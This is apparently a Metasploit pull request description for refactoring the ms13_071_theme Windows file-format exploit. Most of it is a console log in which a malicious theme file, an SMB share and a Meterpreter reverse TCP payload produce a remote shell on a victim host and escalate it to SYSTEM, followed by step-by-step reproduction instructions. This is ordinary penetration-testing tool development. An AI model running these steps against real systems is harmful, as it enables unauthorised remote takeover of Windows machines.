Refactor ms13_071_theme to utilise Msf::Exploit::Remote::SMBFileServer

This commit refactors the ms13_071_theme module written by @jvazquez-r7
to utilise the Rex SMBFileServer protocol and remove duplicate code from
Metasploit.

### Example Run ###
```
# msfconsole -r test3.msf
[*] Processing test3.msf for ERB directives.
resource (test3.msf)> use exploits/windows/fileformat/ms13_071_theme
resource (test3.msf)> set VERBOSE true
VERBOSE => true
resource (test3.msf)> set SHARE share
SHARE => share
resource (test3.msf)> set SCR exploit.scr
SCR => exploit.scr
resource (test3.msf)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (test3.msf)> set LHOST 172.32.255.1
LHOST => 172.32.255.1
resource (test3.msf)> set SRVHOST 172.32.255.1
SRVHOST => 172.32.255.1
resource (test3.msf)> set LPORT 4444
LPORT => 4444
resource (test3.msf)> exploit
[*] Started reverse handler on 172.32.255.1:4444
[*] Generating our malicious executable...
[*] Creating 'msf.theme' file ...
[+] msf.theme stored at /root/.msf4/local/msf.theme
[+] Let your victim open msf.theme
[*] Starting SMB Server on: \\172.32.255.1\share\exploit.scr
[*] Starting SMB Server on 172.32.255.1:445
[*] Sending stage (769536 bytes) to 172.32.255.129
[*] Meterpreter session 1 opened (172.32.255.1:4444 -> 172.32.255.129:1096) at 2014-04-30 12:05:46 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
### Reproduction Steps ###
1. use exploits/windows/fileformat/ms13_071_theme
2. set payload windows/meterpreter/reverse_tcp
3. set LHOST
4. set SRVHOST
5. exploit
6. Copy msf.theme to target
7. Open theme and navigate to "Screensaver" tab
8. Enjoy shells

### Verification ###

- [ ] Land #3074
- [ ] Land #3075
- [ ] Run exploits/windows/fileformat/ms13_071_theme
- [ ] Let target open malicious msf.theme file

### Tested On ###
* Windows XP SP3